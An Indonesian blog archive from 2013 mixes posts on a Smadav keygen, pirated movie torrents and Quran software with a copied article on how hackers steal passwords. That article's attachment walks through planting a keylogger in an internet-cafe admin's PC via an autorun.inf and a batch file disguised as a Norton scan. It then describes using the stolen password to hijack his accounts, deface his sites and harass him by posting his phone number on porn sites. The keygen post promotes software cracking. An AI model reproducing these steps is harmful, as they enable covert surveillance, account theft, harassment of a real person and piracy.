Sabtu, 02 November 2013

Smadav Pro Rev. 9.4.2 - Update 24-10-2013 +Keygen

Posted by Unknown 11:59 AM , under | 6 comments


Smadav adalah antivirus terbaik yang dimiliki Indonesia,ia dapat mengenali lebih dari 4001 virus. Support  pada Windows XP/Vista/7/8 dan dapat dirubah tampilan warna dapat dipassword

Setting untuk menjadikan Pro
  1. Install Smadav sampai selesai
  2. Disable Protection cheklist
  3. buka Keygen dan biasanya langsung mendeteksi nama kompi anda
  4. ketik nama unik
  5. Copas pada setting Registrasi smadav Pro
  6. klik register
      Download


Input nama unik & key
Merubah warna & membuat Admin Password

Jumat, 01 November 2013

Film & Subtitles Epic.2013 dan Despicable Me 2 (2013)

Posted by Unknown 10:47 AM , under | No comments

 


  1. File film judul  : Epic.2013.720p.BluRay.x264.YIFY.mp4
  2. File Subtitle     : Epic.2013.720p.BluRay.x264.YIFY.srt


  1. File film judul  : Despicable.Me.2.2013.720p.BluRay.x264.YIFY.mp4
  2. File Subtitle     : Despicable.Me.2.2013.720p.BluRay.x264.YIFY.srt
 Download File Film menggunakan uTorrent /BitTorrent and Enjoy Guys..

Kamis, 31 Oktober 2013

eBook- ebook Mengenal lebih dalam Windows 8

Posted by Unknown 9:40 PM , under | No comments


Windows 8 adalah sistem operasi keluaran terbaru microsoft rilis pada 12 0ktober 2012 . banyak kelebihan dan kekurangan yang ada pada windows 8. fitur pada windows 8 pun sangat berbeda dengan versi sebelumya . oleh karena itu jika anda ingin mempelajari tentang windows 8 lebih jauh berikut adalah beberapa E-book gratis yang bisa menjadi panduan :


A. Windows 8 For Dummies

B. Introducing Windows 8
Ebook ini di tujukan untuk pemula yang ingin menggunakan windows 8, yang membahas tentang hal-hal dasar mengenai internal & eksternal storage, start screen, aplikasi dan lainnya. ukuran : 10.6 mb halaman : 147 rilis : Dell dan Microsoft

C. Microsoft Press eBook Programming Windows 8 Apps with HTML, CSS
     and JavaScript, PDF

Ebook ini lebih di tujukan kepada para programmer . bahasan yang ada di ebook ini   menjelaskan tentang pengembangan aplikasi pada Windows 8 dengan HTML,CSS dan JavaScript ukuran : 17,9 MB halaman : 834 rilis : Microsoft


Film & Subtitle Monsters.University.2013 dan Turbo 2013

Posted by Unknown 7:04 PM , under | No comments


  1. File film judul  : Monsters.University.2013.720p.BluRay.x264.YIFY.mp4
  2. File Subtitle     : Monsters.University.2013.720p.BluRay.x264.YIFY.srt

  1. File film judul  : Turbo [2013] HDRip XviD- ETRG.avi
  2. File Subtitle     : Turbo [2013] HDRip XviD- ETRG.srt
 Download File Film menggunakan uTorrent /BitTorrent and Enjoy Guys..

Cara mudah menggabungkan File Film dengan Subtitle (.srt) dan Film Empire.State.2013 - White.House.Down.2013

Posted by Unknown 7:01 PM , under | No comments

Cara yang sangat mudah untuk menggabungkan Film dengan Subtitle, tanpa menggunakan software.
Mulailah dengan membuat folder baru dengan nama ( File film ) tersebut, kemudian Copy paste atau Cut paste file film tersebut kedalam File baru tersebut, kemudiaan Download File .srt kedalam folder baru kemudian samakan nama file.srt tersebut dengan nama file film tersebut.

Contoh :


  1. File film judul  : Empire.State.2013.720p.BluRay.x264.YIFY.mp4
  2. File Subtitle     :  Empire.State.2013.720p.BluRay.x264.YIFY.srt 




  1. File film judul  : White.House.Down.2013.720p.BluRay.x264.YIFY.mp4
  2. File Subtitle     : White.House.Down.2013.720p.BluRay.x264.YIFY.srt
Nah selesai sudah film tersebut ber subtitle play and enjoy

Note : - Saat mendownload perhatikan durasi film tsb harus sesuai dengan durasi file. (.srt)
           - Bila anda hendak mendownload Film tsb klik Judul film dan download menggunakan
             uTorrent/BitTorent
           - Untuk File subtitle langsung download

Nah kalau download di tempat kedua diatas sesuai durasinya 
Selamat menikmati



Jumat, 19 Juli 2013

Al-Quran Digital AYAT plus Tajwid, Terjemah, Murottal

Posted by Unknown 7:10 AM , under | 2 comments

AYAT, adalah sebuah al-Qur’an digital versi desktop dari King Saud University (KSU), yang memberikan semua fitur versi online al-Quran Digital tanpa membutuhkan koneksi internet. Anda bisa membaca al-Quran beserta murottal pilihan oleh para qori, serta adanya terjemahan dari berbagai bahasa seperti english, perancis, italia, termasuk Indonesia dan lain-lain. Silahkan download link dibawah kemudian instalasi dalam laptop atau komputer Anda. Semoga bermanfaat. Barokallahufiykum


tampilan AYAT al-Quran Digital
1. Versi Standar (101 MB): Image mushaf, Terjemahan (lebih dari 20 bahasa), dan Tafsir (As-Sa’di, Ibnu Katsir, al-Baghawi, al-Qurthubi, at-Thobari tersaji dalam bhs Arab). DOWNLOAD
Silahkan juga download versi terbarunya, versi 1.1.1 (4 MB, harus instalasi versi standar terlebih dahulu). DOWNLOAD
2. Paket Image Tajwid (61 MB): Memudahkan membaca sesuai tajwid karena adanya perbedaan warnanya dalam mushaf, diperlukan upadate versi 1.1.1 terlebih dahulu. DOWNLOAD. Atau anda download image mushaf tanpa tajwid (40 MB). DOWNLOAD
3. Paket Murottal oleh Syaikh Muhammad Ayyub (recommended murottal bagi yang masih belajar membaca al-Quran, karena kejelasan beliau dalam makhorijul huruf dan tempo yang tidak cepat)
Demikian link download yang minimal Anda miliki dan install di komputer atau laptop, dengan adanya ketiga paket diatas Anda sudah bisa menikmati al-Quran digital dengan terjemah, tampilan tajwid dengan warna berbeda, serta murottal Syaikh Muhammad Ayyub dengan sekali klik di ayat tertentu dalam mushaf

Untuk mendownload fitur lain misalnya audio terjemahan dalam bahasa inggris, atau murottal qori’ lainnya seperti Syaikh Mishari Rashid, Syaikh Ali Huthaify, Syaikh as-Sudais, as-Shuraim, Sa’ad Ghamidi, dll, atau ingin mendownload paket bundel silahkan menuju link sumber berikut:

Link program, bundel, dan untuk OS linux dan Mac
Link paket-paket/ tambahan fitur
.

Kamis, 18 Juli 2013

Bagaimana Cara Para Hacker Mendapatkan Password Anda

Posted by Unknown 11:38 PM , under | No comments


: Table oF Contents :

  • [0XFF00000] Preface
  • [0XFFF0000] Bagaimana Mendapatkannya?
    1. Social Engineering
    2. KeyLogger
    3. Web Spoofing
    4. Menghadang Email
    5. Password Cracking
    6. Session Hijacking
    7. Menjadi Proxy Server
    8. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser
    9. Googling
  • [0XFFFF000] Penutup
  • [0XFFFFF00] Referensi
  • [0XFFFFFFF] Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]

0 [0XFF00000] Preface

Pencurian password, pengambilalihan account, merupakan hal yang sering terjadi di dunia cyber. Bukan hal yang sulit untuk melakukannya, namun banyak para newbie yang terus saja bertanya-tanya.. “Bagaimana cara mendapatkan password email orang lain?” atau pertanyaan yang paling sering saya terima ialah..
“Bagaimana cara anda mendapatkan password saya?” :P
Untuk pertanyaan-pertanyaan itulah artikel ini ditulis, semoga bisa menambah wawasan anda dan membuka pikiran anda tentang betapa pentingnya menjaga account saat berada di tempat-tempat rawan.

0 [0XFFF0000] Bagaimana Mendapatkannya?

Ada banyak cara untuk mendapatkan suatu password. Beberapa diantaranya tidak membutuhkan keahlian khusus. Berikut adalah cara-cara yang paling umum dan paling sering digunakan:
  1. Social Engineering
  2. KeyLogger
  3. Web Spoofing
  4. Menghadang Email
  5. Password Cracking
  6. Session Hijacking
  7. Menjadi Proxy Server
  8. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser
  9. Googling
[1]. Social Engineering
Social Engineering adalah nama suatu teknik pengumpulan informasi dengan memanfaatkan celah psikologi korban. Atau mungkin boleh juga dikatakan sebagai “penipuan” :P Sosial Engineering membutuhkan kesabaran dan kehati-hatian agar sang korban tidak curiga. Kita dituntut untuk kreatif dan mampu berpikiran seperti sang korban.
Social Engineering merupakan seni “memaksa” orang lain untuk melakukan sesuatu sesuai dengan harapan atau keinginan anda. Tentu saja “pemaksaan” yang dilakukan tidak secara terang-terangan atau diluar tingkah laku normal yang biasa dilakukan sang korban.
Manusia cenderung untuk percaya atau mudah terpengaruh terhadap orang yang memiliki nama besar, pernah (atau sedang berusaha) memberikan pertolongan, dan memiliki kata-kata atau penampilan yang meyakinkan. Hal ini sering dimanfaatkan pelaku social engineering untuk menjerat korbannya. Seringkali sang pelaku membuat suatu kondisi agar kita memiliki semacam ketergantungan kepadanya.Ya,tanpa kita sadari dia mengkondisikan kita dalam suatu masalah dan membuat (seolah – olah hanya) dialah yang bisa mengatasi masalah itu. Dengan demikian, tentu kita akan cenderung untuk menuruti apa yang dia instruksikan tanpa merasa curiga.
Sosial Engineering adakalanya menjadi ancaman serius. Memang sepertinya tidak ada kaitan dengan teknologi, namun sosial engineering tetap layak diwaspadai karena bisa berakibat fatal bagi sistem anda. Why?? Karena bagaimanapun juga suatu komputer tetap saja tidak bisa lepas dari manusia. Ya, tidak ada satu sistem komputerpun di muka bumi ini yang bisa lepas dari campur tangan manusia. ehebat apapun pertahanan anda, jika anda sudah dikuasai oleh attacker melalui social engineering, maka bisa jadi anda sendirilah yang membukakan jalan masuk bagi sang attacker.
#Contoh Social Engineering sederhana:
Baca Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]
[2]. KeyLogger
KeyLogger adalah software yang dapat merekam aktivitas user. Hasil rekaman itu biasa disimpan berupa teks atau gambar. KeyLogger bekerja berdasarkan ketukan keyboard user. Aplikasi ini mampu mengenali form-form sensitif seperti form password misalnya.
Ada cara aman untuk menghindari keyloger:
  1. Gunakan password dengan karakter special seperti !@#$%^&*(){}[]. Kebanyakan keyloger akan mengabaikan karakter ini sehingga sang pelaku (pemasang keyloger) tidak akan mendapatkan password anda yang sebenarnya.
  2. Persiapkan password dari rumah, simpan dalam bentuk teks. Saat ingin memasukkan password, tingal copy-paste ajah. Keyloger akan membaca password anda berdasarkan ketukan keyboard. Namun cara ini agak beresiko. Mengapa? karena saat anda melakukan copy, data anda akan tersimpan di clipboard. Saat ini banyak dijumpai software-software gratis yang bisa menampilkan data dalam clipboard.
[3]. Web Spoofing
Masih ingat kasus pecurian Account sejumlah nasabah Bank BCA? Ya, itulah salah satu contoh nyata dari Web spoofing. Inti dari tehnik ini ialah dengan memanfaatkan kesalahan user saat mengetikkan alamat situs pada address bar. Pada dasarnya, Web Spoofing adalah usaha untuk menipu korban agar mengira dia sedang mengakses suatu situs tertentu, padahal bukan.
Pada kasus bank BCA, pelaku membuat situs yang sangat mirip dan identik dengan situs aslinya sehingga sang korban yang terkecoh tidak akan merasa ragu mengisikan informasi sensitif seperti user name dan Passwordnya. Padahal, karena situs tersebut adalah situs tipuan, maka semua informasi berharga tadi terekam oleh webserver palsu, yaitu milik sang pelaku.
[4]. Menghadang Email
Menghadang email? Ya, dan sangat mudah untuk melakukan hal ini. Salah satu cara adalah dengan menggunakan mailsnarf yang terdapat pada utility dsniff. Cara kerja Mailsnarf adalah dengan menghadang paket data yang lewat di Internet dan menyusunnya menjadi suatu email utuh.
Dsniff dan mailsnift merupakan software bekerja atas dasar WinPcap (setara dengan libcap pada Linux) yaitu suatu library yang menangkap paket-paket data. Paket-paket yang ditangkap ini akan disimpan dalam bentuk file oleh Windump, sedangkan Dsniff dan MailSnarf bertindak lebih jauh lagi yaitu menganalisa paket-paket data ini dan menampilkan password (dsniff) atau isi email (mailsnarf).
Baca artikel terkait pada arsip lama :)
[5]. Password Cracking
“Hacking while sleeping.” itulah ungkapan yang biasa dipakai oleh orang-orang yang melakukan password cracking. Mengapa? Karena pada umumnya dibuthkan waktu yang lama untuk melakukan pasword cracking. Bisa berjam-jam, bahkan berhari – hari! Semua itu tergantung dari target, apakah sang target menggunakan password yang umum, password memiliki panjang karakter yang tidak biasa, atau password memiliki kombinasi dengan karakter-karakter special.
Salah satu software yang biasa digunakan untuk melakukan hal ini ialah dengan mengunakan Brutus, salah satu jenis software remote password cracker yang cukup terkenal. Brutus bekerja dengan teknik dictionary attack atau bruce-force attack terhadap port-port http, POP3,ftp, telnet, dan NetBIOS.
Dictionary Attack bekerja dengan mencobakan kata-kata yang ada dalam kamus password. Sedangkan brute – force attack bekerja dengan mencobakan semua kombinasi huruf, angka, atau karakter.
Brute Force Atack bekerja sangat lambat dan membutuhkan waktu yang lama tergantung dari jenis spesifikasi komputernya dan panjang karakter passwordnya. Saat ini telah banyak situs yang menutup akses terhadap akses terhadap usaha login yang secara terus-menerus tidak berhasil.
Jika anda ingin melakukan password Cracking, silahkan pilih – pilih sendiri aplikasinya di halaman Member – spyrozone.net.
[6]. Session Hjacking
Session hijacking dewasa ini semakin marak dikalangan para attacker. Session Hijacking biasa dilakukan dengan melakukan peniruan cookies. Jadi pada intinya, kita harus bisa meniru cookies sang korban untuk mendapatkan sesi loginnya.
Lalu bagaimana cara mendapatkan cookies sang korban? 1. Dengan analisa Cookies. Cara ini relatif sulit dilakukan. 2. Mencuri Cokies. Misalnya Sang Attacker ingin mendapatkan account si A. Sang Attacker bisa dengan mudah membuat semacam script Java Script yang disisipkan dalam email untuk dikirim ke korban.Saat korban membuka email itu, tanpa sadar cookiesnya akan dicuri dan direkam ke suatu webserver dengan memanfaatkan suatu script PHP.
Belakangan ini yang paling sering menjadi incaran adalah account Friendster. Ada yang menyisipkan suatu scipt lewat testimonial, ada yang menyisipkannya di profilnya sendiri untuk mencuri cookies sang korban dan lain sebagainya. Saya memiliki tips untuk ini:
  1. Jangan menggunakan browser InternetExplorer saat ingin membuka profil orang lain. Catat alamat profil yang ingi anda lihat,logout terlebih dahulu dari account anda dan bersihkan semua cookies, baru kemudian bukalah profil Friendster tujuan.
  2. Ketika menerima testimonial, periksa terlebih dahulu source codenya. Apakah disana terdapat script asing atau kata-kata yang identik dengan pembajakan seperti : “HACKED”, “DEFACED”, “OWNED”.. dll.. Jika ragu-ragu……. reject ajah..
  3. Waspada ketika tanpa suatu alasan yang jelas tiba-tiba anda logout dengan sendirinya dari account anda. Saat anda diminta memasukkan username dan password, lihat dulu addressbar anda! apakan anda sedang berada di situs yang semestinya atau tidak. Periksa source code halaman tersebut.Lihat pada form action, kemana informasi anda nantinya akan dikirim.
Sebenarnya session hijacking bisa dicegah jika saja sang penyedia layanan memperhatikan hal-hal berikut:
  1. Menetapkan session identifier yang unik
  2. Menetapkan sistem identifier berpola acak
  3. Session identifier yang independen
  4. Session identifier yang bisa dipetakan dengan koneksi client side.
Fenomena lain adalah,hingga saat artikel ini diterbitkan,ternyata masih banyak dijumpai para user yang tidak melakukan sign out setelah membuka accountnya. Dengan demikian, orang lain yang mengunakan komputer itu dan membuka website yang sama dengan yang telah dibuka oleh orang pertama akan otomatis login ke account sang korban.
[7]. Menjadi Proxy Server
Kita bisa mengumpulkan informasi dengan menjadi proxy server bagi korban untuk dapat berselancar. Dengan menjadi proxy server, seluruh identitas sang peselancar bisa menjadi milik kita.
[8]. Memanfaatkan Kelalaian user dalam penggunaan fitur browser
Setiap browser tentunya memiliki fitur yang ditujukan untuk kemudahan dan kenyamanan penggunanya dalam berselancar. Diantaranya ialah dengan adanya cache dan Password Manager.
Di Internet tentunya banyak suatu website yang isinya tidak berubah dalam beberapa hari (Contohnya spyrozone.net nich.. hehehe ;) Nah, untuk situs yang seperti ini cache menjadi hal yang sangat berguna. Cache akan menyimpan file-file hasil browsing sehinga nantinya jika anda berkunjung lagi ke situs tersebut browser tidakperlu lagi melakukan download untuk kedua kalinya dari server sehingga setiap halaman situs yang telah anda buka sebelumnya akan terbuka dengan lebih cepat. Semua itu biasanya diatur oleh header time to live.
Lho, bagaimana dengan situs-situs penyedia berita yang selalu up to date? Untuk site yang seperti itu, time to live-nya akan di set=0 sehinga nantinya anda akan terus melakukan download setiap kali berkunjung.
Cukup nyaman bukan? Ya, tapi ancaman mulai timbul. Cobalah kini anda jelajahi opsi-opsi yang berkaitan dengan cache pada browser anda. Tentu anda bisa menemui bahwa ada fasilitas untuk menentukan berapa besarnya file temporary yang bisa disimpan di harddisk. Cari juga lokasi dimana file-file tersebut akan disimpan.
Coba anda buka folder tersebut, anda akan menemui file-file html & file-file gambar dari site-site yang sudah anda kunjungi. Pada Browser IE, anda bisa melihat lokasi file cache dengan menjelajahi menu Tools —> Internet options —> Settings
Lalu apa yang bisa didapatkan?? toh cuma file-file “sampah”?? Hmm… sekarang coba anda copy semua file yang ada di sana ke suatu folder. Lalu bukalah salah-satu file htmlnya. Jika itu komputer publik,anda bisa mengetahui situs apa saja yang telah diakses oleh oleh orang sebelum anda.
Hmm.. hanya dengan melihat file temporary anda bahkan bisa melihat password dan dll.Banyak saya temui situs yang menyimpan password dan menampilkannya pada url. Tentunya anda juga pasti sering membacanya di berbagai tutorial.
Kebanyakan browser pada saat ini memiliki fasilitas untuk menyimpan password. Misalnya saat meggunakan Mozilla Firefox, anda pasti sering menerima kotak dialog konfirmasi yang menanyakan apakah anda ingin password anda disimpan atau tidak oleh PasswordManager.Kebanyakan user cenderung untuk memilih opsi YES, entah itu dengan penuh kesadaran atau memang mereka tidak tau ( baca: tidak mau tau) apa maksud dari kotak dialog itu.
Orang lain yang kemudian mengunakan browser itu bisa dengan sangat mudah mendapatkan password korban dengan memasuki menu Tools —> Options —> Security –> Saved password.
Contoh lain adalah fasilitas wand password yang dimiliki oleh browser Opera. Saat anda memasukkan user name dan password pada suatu form dan menekan tombol submit, opera secara default akan meminta konfirmasi kepada anda apakah anda ingin browser menyimpan id dan password anda atau tidak. Lagi dan lagi… kebanyakan netter ceroboh, mereka cenderung untuk memilih opsi “YES”.
Lalu?? Orang lain yang kemudian menggunakan browser itu bisa melihat situs apa saja yang telah diakses oleh user, arahkan browser ke situs tersebut, letakkan cursor pada form isian user name, tekan [ALT]+[ENTER] dan BOOOMM!!!! Kenapa?? Jangan kaget dulu!! Hehehe.. form login akan otomatis terisi dengan user name korban lengkap dengan passwordnya ;D It’s fun enough.. ;)
Ini hanya sebagian kecil contoh, jelajahi fitur-firtur browser lain!
[9]. Googling
Google.com. Banyak sudah situs yang runtuh, password dan nomor – nomor kartu kredit yang dicuri akibat dari ulah orang yang menyalahgunaan kesaktiannya ;) Dahulu, hal ini mudah dilakukan.Hanya dengan mengetikkan kata kunci tertentu yang berkaitan dengan user name dan password, anda bisa memanen ratusan password user melalui google. Tapi sekarang tampaknya anda harus gigit jari jika menggunakan cara diatas ;D
Jangan sedih dulu karena Google baru saja menelurkan produk barunya, yaitu Google Code Search. Ancaman baru mulai timbul, “si pintar” ini kini dapat meng-crawl hingga kepada archive file yang berada di public directory web server. Hati-hati yang punya kebiasaan untuk menyimpan informasi penting di dalamnya (password, dan info berharga lainnya) Sebaiknya mulai sekarang kebiasaan itu dihilangkan. Selalu proteksi folder-folder yang sensitif agar situs anda bisa hidup lebih lama. Kalo nggak… yach.. tunggu ajah ada orang yang memanfaatkan produk baru google ini untuk mengeruk informasi sensitif dari web server anda. dan jika itu sudah terjadi… maka bersiaplah.. “taman bermain” anda akan diambil alih olehnya..

0 [0XFFFF000] Penutup

Wew… ada banyak cara bukan untuk mendapatkan account orang lain?? So, selalu berhati-hatilah. Waspada selalu saat berada di tempat umum, bahkan saat berada di komputer pribadi anda sekalipun karena bisa jadi teman anda atau siapapun yang meminjam komputer anda memiliki tujuan yang kurang baik.
Sekian, semoga bermanfaat dan bisa menambah pengetahuan anda :)

0 [0XFFFFF00] Referensi

  • securityfocus[dot]com
  • phrack[dot]org
  • spyrozone[dot]net
  • google[dot]com

0 [0XFFFFFFF] Attachment:

Berikut adalah contoh social engineering sederhana. Saya ambil dari tulisan saya yang berjudul “Pembalasan Untuk Sang Admin”-www.spyrozone.net. Enjoy… ;)

Pembalasan Untuk Sang Admin – SOcial Engineering
May 12, 2006 jam 21:16 malam di depan RedHat tercinta dengan segelas Heineken
Author: SPYRO KiD
CopyLeft (c) 2006 by www.spyrozone.net
|—[Table of Contents
  1. Introduction
  2. Serangan pertama
  3. Serangan kedua
  4. Hari pembalasan
  5. Cara pencegahan
  6. Penutup
1. Introduction
Semakin paranoidnya para admin belakangan ini menyebabkan banyak pengguan jasa layanan internet cafe (warnet) menjadi kurang nyaman. Restriction (pembatasan) disana-sini (walaupun semua itu dilakukan bukan tanpa alasan) menjadi salah satu inspirasi bagi banyak orang untuk mencari-cari cara menerobos segala keterbatasan itu dan saling men-share pengetahuan mereka. Berbagai jenis exploit pun dibedah, didiskusikan dan dikemas menjadi artikel untuk para newbie.
Sejenak para newbie bisa tertawa puas, berjaya, senyum-senyum sendiri sampai tak jarang lupa diri :P Namun semua itu tentunya tidak bertahan lama. Admin menjadi semakn pintar. Fasilitas Floppy drive dan CD room drive dihapus dan melarang user untuk melakukan segala bentuk transfer file dari media penyimpanan sementara (disket, cd, flashdisk) kecuali melalui server terlebih dahulu. Ini merupakan fenomena yang akhir-akhir ini bisa kita temui dengan mudah di berbagai Internet cafe. Admin mulai rajin mengupdate path sehingga exploit-exploit yang dulu dibangga-banggakan oleh kaum newbie menjadi "rongsokan" tak berguna.
Sekarang, mari kita bangunkan sang admin dari mimpi indahnya untuk menunjukkan bahwa menjadi paranoid itu adakalanya tidak baik dan tidak ada system yang 100% secure.
2. Serangan pertama
Kita akan menjadi seorang "agen mata-mata" (hehehe.. gw pake istilah ini biar ente merasa agak sedikit keren) yang akan merekam segala aktivitas sang admin. Tujuannya.. banyak! dan salah satunya seperti hal yang banyak diinginkan orang... mendapatkan password sang admin. Partner kita kali ini adalah navw32.exe, sebuah keyloger dengan icon Norton AntiVirus yang bisa kamu dapatkan suka-suka dengan harga cuma-cuma di halaman member www.spyrozone.net kategori Keyloger. Setelah kamu download keyloger tersebut, ikuti langkah - langkah berikut:
---[1 Bukalah Notepad kemudian ketik baris script berikut:
[autorun] open=nav.bat
Klik [file][save] kemudian pada box save as type, pilih All Files dan pada form isian name beri nama Autorun.inf lalu klik tombol [save].
—[2 Buka lembar baru pada notepad dengan klik menu [file] [new] lalu ketik script berikut:
@echo off echo Norton Antivirus 2006 echo Scanning disk drive… echo Please wait… copy navw32.exe %windir%\navw32.exe call %windir%\navw32.exe echo. echo. echo. echo. echo. echo. echo. echo. Scanning complette! No virus threat detected! echo. cls
Klik [file][save] kemudian pada box save as type, pilih All Files dan pada form isian name beri nama nav.bat lalu klik tombol [save].
—[3. Persiapkan beberapa file microsoft word documents (bisa diganti dengan file lain) sebagai tipuan/alasan untuk di transfer. Semakin banyak file, semakin baik karena file keyloger kamu akan semakin tersamarkan.
—[4. Persiapkan sebuah cd kosong (bekas juga boleh) lalu bakar semua file diatas (autorun.inf, nav.bat, navw32.exe dan file-file tipuan) kedalam CD.
Sekarang pergilah ke warnet tempat sang admin berkuasa. Bersikaplah seperti biasa dan jangan gugup selayaknya para koruptor yang sering nampang di satasion-stasion TI-PI tanpa rasa malu. Setelah kamu login ke billing komputer user, datangi sang admin. Katakan pada beliau, “Mas/mbak/om/tante/, mau transfer file dari cd ini. Nama filenya blablabla tolong dikirim ke komputer nomor blablabla.”
Begitu CD dimasukkan, saat itulah terjadi sebuah fenomena berikut:
Komputer akan memproses file autorun.inf secara otomatis —> file autorun.inf akan memproses file nav.bat —> file nav.bat akan menduplikasi file navw32.exe ke dalam directory windows dan mengaktifkannya —> Keyloger telah terinstall, hasil rekamannya akan tersimpan di directory yang sama dengan nama navw32.dll beratribut hidden.
Perlu diketahui bahwa keyloger ini tidak akan menampilkan kotak dialog dalam bentuk apapun! So, nggak usah khawatir bakal ketahuan ;)
Sekarang, kamu bisa pulang dengan wajah tanpa dosa dan mungkin (lagi – lagi) kamu bakalan senyum-senyum sendiri sambil mengelus-elus jenggot kayak habis menang togel.
Lalu bagaimana cara mengambil file hasil rekaman keyloger di directory windows sang admin? Ikuti langkah-langkah pada serangan kedua.
3. Serangan kedua
Dua hari Kemudian, datanglah ke warnet itu lagi. Bertingkahlakulah secara wajar dan beraktivitas seperti layaknya user biasa. Setelah selesai berinternet ria, datangi sang admin, bayarlah biaya browsing seperti biasa lalu dengan wajah sangat-sangat memelas seperti pengemis di jalanan :) katakan pada beliau,”Mas/mbak/om/tante/, komputer saya bermasalah neeh. Menurut pesan Error yang muncul, file navw32.dll yang berada di directory windows hilang. File tersebut beratribut hidden. Tolong doong copykan dari komputer ini. Kebetulan versi windowsnya sama dengan komputer saya..”
Tentu saja biasanya sang admin dengan sangat senang hati akan membantu kamu. Dengan suka rela dan penuh kesadaran beliau akan mengaktifkan opsi Show All files pada Folder Options dan mengcopy-kan file navw32.dll dari directory windows tanpa menyadari bahwa file tersebut bukan file system, namun file hasil rekaman keyloger.
Berikan disket/cd/flashdisk mu dan setelah file tersebut tersimpan, ucapkan beribu terima kasih lalu pulanglah ke rumah. Buka file tersebut di rumah. Klik 2x pada file lalu ketika muncul kotak dialog open with, klik opsi select program from a list dan pilih notepad pada daftar program yang ditampilkan. Sekarang tentunya kamu bisa leluasa membaca rekaman aktivitas sang admin. Cari password emailnya dan kamu bisa menuju pada hari pembalasan.
4. Hari Pembalasan
Pilih hari yang tepat, misalnya malam jum’at kliwon dimana sang admin mungkin sedang terlelap di rumahnya. Nyalakan komputermu dan connectlah ke Internet. Namun ada baiknya kamu lakukan hal ini di warnet agar lebih aman. Carilah warnet yang buka 24 jam.
Berbekal hasil rekaman keyloger tadi, loginlah ke account email sang admin. Setelah puas menjelajahi emailnya, subscriblah ke berbagai mailing list besar dengan email tersebut. Subscribe sebanyak-banyaknya.
Hohoho.. lalu apa lagi nich?? Kalau sang admin punya blog/website pribadi/ account Friendster.. tentu kamu dengan mudah mendapatkan semua password itu dengan fasilitas forgot password. Kebanyakan penyedia layanan seperti itu akan mengirimkan password via email. So, setelah dapat semuanya… heheh… DEFACE ajah ;) Tapi inget lho, halaman lama harus tetap di backup dan jangan merubah password apapun!!
Ada ide yang sedikit lebih sadis (ini cuma ide lho.. sebaiknya jangan dilakukan deech..). Daftarkan emailnya ke berbagai situs – situs porno dan postinglah sebuah pesan singkat, memikat dan “mematikan”. Berikut contohnya jika milis tersebut berbahasa Indonesia:
Dear all.. gwe lagi nafsu berat neeh, burun telepon gwe doong sekarang juga!! neeh no telp gwe: 021-blablabla (masukkan no telp sang admin) gwe tunggu 24 jam lho!!
Atau terserah kamu laah.. saya rasa kamu lebih pintar dalam memilih kata- kata yang yahuud!! ;D
Maka bisa dipastikan malam itu akan menjadi malam jumat kliwon paling mengerikan bagi sang admin, lebih mengerikan daripada film-film horor manapun! Telepon rumahnya akan berdering tanpa henti dibanjiri oleh telepon dari dalam dan luar negeri dengan maksud pembicaraan yang sudah bisa ditebak apa maksudnya ;D
Keesokan harinya, setelah menghadapi malam paling mengerikan itu, sang admin akan kaget 1/2 hidup 1/2 mati mendapati inboxnya penuh dengan email-email dari berbagai milis yang beliau sendiri tidak merasa pernah bergabung dengan milis-milis itu. Dan bisa jadi, saat beliau sedang sibuk Unsubcribe dari milis-milis tersebut, telepon rumahnya masih terus – terusan menjerit – jerit dengan jeritan indah :D
5. Pencegahan
Jika kamu adalah admin yang tidak mau mengalami nasib seperti diatas, maka setiap kamu menerima CD dari siapapun..
  1. Buka windows explorer
  2. Tekan-tahan tombol shift sambil memasukkan CD kedalam CD Room dRive.
  3. Setelah CD masuk,tetap tekan tombol shift sampai kira-kira 25 detik. Setelah itu kamu bisa melepas tombol shift dan mengaksesnya melalui panel sebelah kiri windows Explorer. Klik pada area folder tree, jangan pada daftar drive sebelah kanan karena fitur autorun akan aktif.
Dan ingat, jangan terlalu percaya pada siapapun! Ada begitu banyak orang tidak terduga di sekitar anda!!
6. Penutup
—[+ Kesimpulan
Bisa kita bayangkan sendiri betapa kelalaian sepele bisa menimbulkan dampak yang sangat berbahaya. Ini hanya merupakan contoh Social Engineering sederhana namun dampaknya.. bisa anda bayangkan sendiri ;)
Cara diatas sudah saya coba pada 4 buah warnet di sidoarjo dan hasilnya saya berhasil mendapatkan catatan aktivitas sang admin (password etc..). Tapi untuk penerapan “PEMBALASAN” tentu saya tidak melakukan hal sekejam itu ;P
———————————</Attachment>——————————–

Copas : spyrozone.net

Sabtu, 13 Juli 2013

Download Al-Qur'an Flash dan Al-Qur'an 3D

Posted by Unknown 2:29 AM , under | 10 comments

Brothers and Sisters
Sobat udah download  Murottal Al-Qur'an Syaikh Mishari Rashid Alafasy, nah sekarang Sobat memerlukan Kitab Al-Quran yang praktis yang tersedia di Laptop ,Ipad atau menyipan seperti di flashdisk agar setiap saat kita membaca disegala kesempatan
langsung aja Bro & Sis

1.   Al-Qur'an Flash
      Screenshoot:

 2.  Al-Qur'an 3D
     Screenshoot:

Download Gratis Murottal Al-Qur'an 30 Juz Oleh Syaikh Mishari Rashid Alafasy

Posted by Unknown 2:27 AM , under | 26 comments

Download Murottal Al-Qur'an 30 Juz Oleh Syaikh Mishari Rashid Alafasy, Bagi yang ingin mendownload, langsung saja klik linknya.



Surah No. Surah Name
Download MP3
1 Al-Fatihah Download
2 Al-Baqarah
Download
3 Al-Imran Download
4 An-Nisa'
Download
5 Al-Ma'idah Download
6 Al-An'am
Download
7 Al-A'raf Download
8 Al-Anfal
Download
9 At-Taubah Download
10 Yunus
Download
11 Hood Download
12 Yusuf
Download
13 Ar-Ra'd Download
14 Ibrahim
Download
15 Al-Hijr Download
16 An-Nahl
Download
17 Al-Isra Download
18 Al-Kahf
Download
19 Maryam Download
20 Ta­Ha
Download
21 Al-Anbiya' Download
22 Al-Hajj
Download
23 Al-Mu'minun Download
24 An-Nur
Download
25 Al-Furqan Download
26 Ash-Shu'ara'
Download
27 An-Naml Download
28 Al-Qasas
Download
29 Al-'Ankabut Download
30 Ar­Room
Download
31 Luqman Download
32 As­Sajdah
Download
33 Al­Ahzab Download
34 Saba'
Download
35 Fatir Download
36 Ya­Sin
Download
37 As-Saffat Download
38 Sad
Download
39 Az-Zumar Download
40 Ghafir
Download
41 Fussilat Download
42 Ash-Shura
Download
43 Az-Zukhruf Download
44 Ad-Dukhan
Download
45 Al-Jathiya Download
46 Al-Ahqaf
Download
